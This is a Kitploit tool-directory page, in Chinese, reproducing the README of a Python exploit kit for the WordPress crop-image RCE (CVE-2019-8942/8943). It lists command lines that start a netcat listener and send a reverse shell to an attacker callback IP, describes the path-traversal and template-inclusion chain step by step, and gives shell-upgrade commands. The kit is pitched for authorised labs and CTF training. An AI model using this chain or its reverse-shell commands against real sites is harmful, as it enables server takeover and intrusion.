Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WordPress-RCE-CVE-2019-8942 — 用于WordPress Crop Image RCE的Python漏洞利用工具包——CVE-2019-8942 & CVE-2019-8943 | Kitploit
工具/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育红队Payload 开发实验室与实践
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

用于WordPress Crop Image RCE的Python漏洞利用工具包——CVE-2019-8942 & CVE-2019-8943

174个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

WordPress 裁剪图片 RCE — CVE-2019-8942 / CVE-2019-8943

Python3 实现的有身份验证的 WordPress 裁剪图片利用链。该仓库围绕两种独立的工作流程组织:一个手动 OSCP 风格脚本和一个完全自动化且集成了反向 Shell 处理器的脚本。

仅可在授权的实验室、CTF、培训平台或你拥有明确测试许可的系统中使用此工具。


受影响的 WordPress 版本

该利用链针对以下漏洞:

  • CVE-2019-8942
  • CVE-2019-8943

该漏洞的公共 Metasploit 模块描述了受影响的版本:

WordPress 5.0.0 以及 WordPress <= 4.9.8

需要一个具有媒体上传/编辑权限的有效 WordPress 账户。在许多实验室环境中,作者级别的用户就足够了。


仓库结构

.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg 是 OSCP 风格脚本使用的默认 JPG 载体。将其包含在内,以便手动工作流程无需寻找随机图片即可直接使用。

autoexploit.py 是自包含的,内部包含自己的十六进制 JPG 载体,但也可以使用 -i 接受自定义 JPG。


安装

python3 -m pip install -r requirements.txt

唯一需要的 Python 包是:

requests

如果你需要 SOCKS 代理支持,请在你的环境中安装带有 SOCKS 扩展的 requests:

python3 -m pip install 'requests[socks]'

脚本选择

脚本最适合图片处理Shell 处理
exploit_oscp.pyOSCP 风格/手动利用默认使用 image.jpg,或使用 -i custom.jpg你手动启动 nc
autoexploit.py快速实验室使用和重复测试默认使用内嵌的十六进制 JPG,或使用 -i custom.jpg启动监听器,触发回调,并打开交互式控制台

两个脚本都是独立的,彼此不导入代码。


OSCP 风格工作流程

exploit_oscp.py 保持工作流程明确。它准备图片载体,执行有身份验证的 WordPress 利用链,确认命令执行,并触发反向 Shell 到你手动启动的监听器。

它不会自动启动处理器,也不使用 Metasploit、Meterpreter 或 msfvenom。

基本 OSCP 用法

首先启动你的监听器:

nc -lvnp 443

使用默认的 image.jpg 运行利用脚本:

python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

使用自定义 JPG 的 OSCP 用法

nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

OSCP 选项

选项必需默认值说明
-t, --target是无目标 WordPress 基础 URL,例如 http://target.local/
-u, --username是无WordPress 用户名
-p, --password是无WordPress 密码
-i, --image否image.jpg准备并上传的 JPG 载体
--lhost是无你的回调 IP,通常是你的 VPN/tun0 IP
--lport是无你手动监听器正在监听的端口
--proxy否无代理 URL,例如 http://127.0.0.1:8080 或 socks5://127.0.0.1:9050
--user-agent否内置自定义 User-Agent 标头
--random-user-agent否禁用使用随机的浏览器风格 User-Agent
--timeout否20HTTP 超时时间(秒)
--debug否禁用打印 HTTP 调试输出并保存有用的失败响应

带 Burp 的 OSCP 示例

python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

全自动工作流程

autoexploit.py 专为速度设计。只需提供目标凭据即可运行,并会尝试自动选择回调 IP 和监听器端口。

它执行完整的利用流程,启动本地监听器,尝试多种反向 Shell 载荷样式,并打开一个更干净的交互式控制台,带有彩色本地状态消息和静默 TTY 升级处理。

基本自动用法

python3 autoexploit.py -t http://target.local/ -u username -p password

使用显式回调值的自动用法

python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

使用自定义图片和代理的自动用法

python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

自动选项

选项必需默认值说明
-t, --target是无目标 WordPress 基础 URL
-u, --username是无WordPress 用户名
-p, --password是无WordPress 密码
-i, --image否内嵌十六进制 JPG可选的自定义 JPG 载体
--lhost否自动检测反向 Shell 使用的回调 IP
--lport否空闲本地端口本地监听器端口
--listen-timeout否12每次反向 Shell 尝试等待的秒数
--proxy否无代理 URL,例如 http://127.0.0.1:8080 或 socks5://127.0.0.1:9050
--user-agent否内置自定义 User-Agent 标头
--random-user-agent否禁用使用随机的浏览器风格 User-Agent
--timeout否20HTTP 超时时间(秒)
--debug否禁用打印 HTTP 调试输出并保存有用的失败响应

代理和 User-Agent 示例

通过 Burp 的 HTTP 代理:

python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS 代理:

python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

自定义 User-Agent:

python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

随机 User-Agent:

python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

为什么图片很重要

这不是普通的 PHP 上传。WordPress 期望图片内容,通过媒体编辑器处理文件并创建裁剪后的图片。然后利用链滥用附件元数据和路径遍历,将裁剪后的图片放置到活动主题目录中。最后,裁剪后的文件被引用为页面模板,以便 WordPress 将其作为 PHP 包含。

在脆弱的 EXIF 元数据中放置 PHP 的随机 JPG 可能会失败,因为 GD 在处理裁剪时可能会剥离或重新编码元数据。此仓库保持工作流程清晰:

  • exploit_oscp.py 默认使用包含的 image.jpg,或通过 -i 传递的自定义图片。
  • autoexploit.py 包含内部十六进制载体,因此它是自包含的。
  • 两种工作流程都以上传方式准备,旨在通过 WordPress 裁剪步骤。

技术流程

  1. 向 WordPress 进行身份验证。
  2. 检测活动主题。
  3. 通过 async-upload.php 上传 JPG 载体。
  4. 获取媒体、图片编辑器和附件 nonce。
  5. 使用 _wp_attached_file 操作来影响裁剪输出路径。
  6. 触发裁剪动作一次以预演行为。
  7. 再次触发裁剪动作,并利用路径遍历进入活动主题目录。
  8. 创建一篇文章,并将 _wp_page_template 设置为裁剪后的 JPG 名称。
  9. 请求该文章,以便 WordPress 将制作的 JPG 包含为模板。
  10. 通过 0 GET 参数确认命令执行。
  11. 触发反向 Shell 到配置的或自动选择的回调端点。

故障排除

身份验证成功但未确认执行

检查 WordPress 版本是否易受攻击,并且账户是否可以上传和编辑媒体。

python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

命令执行确认但未返回 Shell

检查回调 IP 和监听器。

ip addr show tun0
nc -lvnp 443

然后使用正确的 --lhost 再次运行 OSCP 脚本。

Burp 不显示流量

显式使用代理选项:

python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS 代理失败

安装 SOCKS 支持:

python3 -m pip install 'requests[socks]'

Shell 感觉不稳定

基本的反向 Shell 通常有限制。自动脚本尝试自动升级会话。在 OSCP 模式下,收到回调后手动升级:

python3 -c 'import pty; pty.spawn("/bin/bash")'

按 Ctrl+Z 本地挂起,然后运行:

stty raw -echo; fg

在 Shell 中:

export TERM=xterm

OSCP 风格说明

exploit_oscp.py 有意保持手动:

  • 没有 Metasploit;
  • 没有 Meterpreter;
  • 没有自动处理器;
  • 不依赖 autoexploit.py;
  • 明确的由操作员控制的监听器;
  • 明确的 LHOST 和 LPORT;
  • 清晰的输出显示每个阶段。

预期的工作流程是:

nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

致谢

研究和漏洞链由原研究人员公开记录,后来在公共利用框架中实现。

Python 实现和实验室工作流程由 SpeatX 完成。


法律声明

此仓库仅供授权的安全测试、CTF、培训实验室和教育研究使用。

请勿针对你不拥有或未获得明确测试许可的系统运行。

下载工具